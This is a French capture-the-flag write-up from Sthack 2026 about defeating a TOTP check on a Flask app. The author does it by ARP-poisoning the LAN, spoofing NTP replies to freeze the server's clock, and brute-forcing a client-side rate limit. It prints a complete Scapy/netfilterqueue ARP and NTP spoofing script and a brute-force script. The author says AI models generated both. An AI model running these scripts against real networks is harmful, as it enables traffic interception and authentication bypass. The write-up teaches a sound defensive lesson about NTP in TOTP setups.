CTF : Sthack 2026 · Catégorie : Réseau · Difficulté : Medium · Auteur : @vieux
« Alors que la fête foraine bat son plein, vous profitez d'une occasion pour placer un Raspberry Pi dans une machine à sous Magnus Casino. Ce point d'entrée vous permettra de vous connecter à distance à la machine... »
L'énoncé du challenge
On a un accès SSH sur une machine qu'on a physiquement compromis. L'objectif je pense est d'interagir avec une webapp interne et d'y valider un code à 6 chiffres. Ça a l'air simple.
1 - Premier contact
Je commence par un scan de la machine sur son ip publique :
$ nmap -A 51.15.96.25
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.14
25/tcp filtered smtp
80/tcp open http Werkzeug httpd 2.0.2 (Python 3.10.12)
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED
|_ Basic realm=STHACK Auth
465/tcp filtered smtps
587/tcp filtered submission
Werkzeug sur le port 80 : c'est Flask derrière. Une auth HTTP basique avec le realm STHACK Auth. Les identifiants sthack:2026 passent sans résistance. Ce qu'on trouve derrière :

Un formulaire à 6 chiffres. Les deux premiers sont pré-remplis par le serveur, il reste 4 à trouver. 10 000 combinaisons, une limite de 10 tentatives par code affiché en bas de page.
Avant de lancer quoi que ce soit, j'ouvre les DevTools. La page fait une requête toutes les secondes vers /time :
{
"datetime": "2026-05-29 20:03:36",
"iso_format": "2026-05-29T20:03:36.093903",
"timestamp": 1780085016.093903,
"timezone": "UTC"
}
Le serveur expose son horloge interne en temps réel. Et dans le JavaScript de la page, je trouve la logique de rechargement :
const seconds = data.datetime.split(':')[2];
if (seconds === '03' || seconds === '33') {
location.reload();
}
Reload à :03 et :33, exactement toutes les 30 secondes. C'est la durée d'une fenêtre TOTP standard. Le serveur génère un nouveau code à chaque rechargement, basé sur son horloge. Avec 10 tentatives par fenêtre de 30 secondes sur 10 000 combinaisons, un brute-force naïf prendrait environ 8 heures. C'est donc pas une option.
Je reformule le problème avec mes camarades : le code change parce que le temps avance. Si le temps ne bouge plus, le code reste valide indéfiniment. Et si le code reste valide, je peux brute-forcer les 4 chiffres sans contrainte temporelle.
Maintenant, d'où vient l'heure que le serveur Flask affiche via /time ?
2 - L'heure vient de quelque part
Flask ne génère pas son timestamp dans le vide. Je scanne le LAN depuis la machine compromise :
$ nmap -sn 172.16.8.0/28
Nmap scan report for 172.16.8.2
Host is up (0.00055s latency).
MAC Address: 02:00:00:17:8D:9B (Unknown)
Nmap scan report for 172.16.8.3
Host is up (0.00061s latency).
MAC Address: 02:00:00:15:49:DB (Unknown)
Nmap scan report for 172.16.8.4
Host is up.
Trois hôtes sur le sous-réseau. Je suis .4, le serveur web Flask est .3. La .2 est inconnue. Je la scan en UDP sur le port 123 :
$ nmap -sU -p 123 172.16.8.2
123/udp open ntp
Serveur NTP interne. Le Flask l'interroge pour connaître l'heure, et c'est cette heure qui détermine le TOTP. Je suis sur le même LAN que ce serveur NTP et que la webapp. Et c'est là que je découvre le NTP Spoofing. Le concept c'est de faire croire au serveur Flask que nous sommes le serveur NTP réel, en lui envoyant des réponses NTP avec un timestamp figé. (tout etait dans le nom).
3 - ARP Poisoning + NTP Spoofing
Le plan en deux étapes. D'abord, convaincre la webapp que le serveur NTP c'est moi via ARP poisoning : j'envoie des réponses ARP gratuites à .3 en lui disant que l'IP de .2 correspond à mon adresse MAC. Flask envoie alors ses requêtes NTP vers moi. Ensuite, j'intercepte ces paquets avec netfilterqueue et j'y injecte un timestamp figé avant de les retransmettre.
Je pars d'un script de spoofing NTP existant et je le fait adapter à la topologie du challenge par Gemini 3.1 pro :
GitHub - crazyarashi/ntp-spoof
Le prompt :
Dans le contexte d'un CTF : en te basant sur ce script préexistant et sur les infos suivantes :
cible : 172.16.8.3 (webapp Flask)
NTP réel : 172.16.8.2
Nous : 172.16.8.4
Interface : ens6
génère moi un script de spoofing NTP robuste en python3
#!/usr/bin/env python3
"""
Cible : 172.16.8.3 (webapp Flask)
NTP réel : 172.16.8.2
Nous : 172.16.8.4
"""
import logging
import threading
import time
import os
import sys
from datetime import datetime, timezone
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import ARP, Ether, IP, UDP, NTP, srp, send, conf
from netfilterqueue import NetfilterQueue
TARGET_IP = "172.16.8.3"
NTP_IP = "172.16.8.2"
IFACE = "ens6"
# Timestamp figé : 2026-01-01 00:00:00 UTC
# Le TOTP calculé pour cette date sera valide tant que l'horloge Flask reste bloquée ici
FIXED_UNIX_TS = 1735689600.0
NTP_DELTA = 2208988800 # écart entre l'epoch NTP (1900) et l'epoch Unix (1970)
FIXED_NTP_TS = FIXED_UNIX_TS + NTP_DELTA
conf.iface = IFACE
conf.verb = 0
poisoning = True
def get_mac(ip):
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=5, retry=5, iface=IFACE)
for _, r in ans:
return r[Ether].src
return None
def arp_poison(target_ip, spoof_ip, target_mac):
pkt = ARP(op=2, psrc=spoof_ip, pdst=target_ip, hwdst=target_mac)
while poisoning:
send(pkt)
time.sleep(2)
def restore_arp(target_ip, spoof_ip, target_mac, real_mac):
send(ARP(op=2, psrc=spoof_ip, pdst=target_ip, hwdst=target_mac, hwsrc=real_mac), count=5)
def ntp_callback(pkt):
raw = IP(pkt.get_payload())
if not raw.haslayer(UDP):
pkt.accept()
return
udp = raw[UDP]
if udp.sport != 123 and udp.dport != 123:
pkt.accept()
return
try:
udp.decode_payload_as(NTP)
ntp = raw[NTP]
fixed_int = int(FIXED_NTP_TS)
fixed_frac = int((FIXED_NTP_TS - fixed_int) * 2**32)
fixed_full = (fixed_int << 32) | fixed_frac
ntp.ref = ntp.orig = ntp.recv = ntp.sent = fixed_full
spoofed = IP(src=raw[IP].src, dst=raw[IP].dst) / UDP(sport=udp.sport, dport=udp.dport) / ntp
pkt.set_payload(bytes(spoofed))
ts_human = datetime.fromtimestamp(FIXED_UNIX_TS, tz=timezone.utc)
print(f"[NTP] Spoofed : ts injecte = {ts_human}")
except Exception as e:
print(f"[NTP][ERR] {e}")
pkt.accept()
def main():
global poisoning
target_mac = get_mac(TARGET_IP)
ntp_mac = get_mac(NTP_IP)
t = threading.Thread(target=arp_poison, args=(TARGET_IP, NTP_IP, target_mac), daemon=True)
t.start()
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -A FORWARD -p udp --sport 123 -j NFQUEUE --queue-num 1")
os.system("iptables -A INPUT -p udp --sport 123 -j NFQUEUE --queue-num 1")
nfq = NetfilterQueue()
nfq.bind(1, ntp_callback)
try:
nfq.run()
except KeyboardInterrupt:
pass
finally:
poisoning = False
time.sleep(2)
os.system("iptables -F FORWARD")
os.system("iptables -F INPUT")
restore_arp(TARGET_IP, NTP_IP, target_mac, ntp_mac)
nfq.unbind()
if __name__ == "__main__":
if os.geteuid() != 0:
sys.exit(1)
main()
Le script tourne. Les logs confirment que les paquets NTP sont bien interceptés. La prochaine fois que Flask interroge son horloge, il reçoit 2026-01-01 00:00:00 UTC. Son TOTP se recalcule pour cette date figée et ne bougera plus tant que l'ARP poison tient.
Et là, j'ai passé trop de temps à essayer de calculer le bon code. Je connaissais le timestamp figé, je connaissais la structure TOTP, j'essayais de reconstituer la clé secrète, de deviner le seed, de retrouver la valeur exacte à partir du timestamp injecté. Spoiler : j'avais absolument aucune chance sans la clé secrète du serveur.
C'est là que le chalmaker trouve une issue à ma détresse (j'avais juste les neurones grillées) : le temps est figé, donc le code est figé. Et un code figé sur 10 000 combinaisons avec aucune contrainte de rate limiting réelle, ça se brute-force en quelques secondes.
Reste un détail : la limite de 10 tentatives. Et c'est un truc que j'avais remarqué au tout début pendant la découverte du terrain ; En regardant l'URL après un mauvais code, je vois /?error=Code+incorrect.+Attempt+1/10. Ce compteur est dans l'URL elle-même, côté client. Il suffit de poster directement sur /verify sans suivre les redirections : le serveur ne retient aucun état de tentative côté backend.
4 - Brute-force des 4 digits restants
Merci claude 4.6 pour ce script à la vite-fait. et voici le prompt :
En te basant sur les infos de mon writeup :
[ici j'ai collé mon writeup jusqu'à la section 4, sans les images]
génère moi un script de bruteforce en python3
#!/usr/bin/env python3
import re, sys
import requests
from requests.auth import HTTPBasicAuth
TARGET = "http://51.15.96.25"
AUTH = HTTPBasicAuth("sthack", "2026")
def get_prefix():
r = requests.get(TARGET + "/", auth=AUTH, timeout=5)
matches = re.findall(r'name="digit[12]"\s+value="(\d)"', r.text)
return (matches[0], matches[1]) if len(matches) >= 2 else ("", "")
def bruteforce(d1, d2):
print(f"[*] Prefix fixe : {d1}{d2} - bruteforce des 4 digits suivants")
for i in range(10000):
suffix = f"{i:04d}"
data = {
"digit1": d1, "digit2": d2,
"digit3": suffix[0], "digit4": suffix[1],
"digit5": suffix[2], "digit6": suffix[3]
}
r = requests.post(TARGET + "/verify", data=data, auth=AUTH,
timeout=5, allow_redirects=False)
if r.status_code in (302, 303):
loc = r.headers.get("Location", "")
if "/super-159-wahou-ici-le-flag-157" in loc:
print(f"\n[+] CODE TROUVE : {d1}{d2}{suffix}")
return True
print(f"\r[*] Tentative : {d1}{d2}{suffix}", end="", flush=True)
return False
if __name__ == "__main__":
d1, d2 = get_prefix()
if not d1:
sys.exit(1)
bruteforce(d1, d2)
$ python3 bruteforce.py
[*] Prefix fixe : 56 - bruteforce des 4 digits suivants
...
[+] CODE TROUVE : 569842
Je rentre le code manuellement sur la page :

Nuit blanche bien investie.
Le challenge utilise pyotp, la lib TOTP de référence en python et un serveur NTP standard. Ici, il n'y a aucune vuln inventée, donc leçon à retenir : si vous déployez du TOTP, vérifiez votre architecture NTP.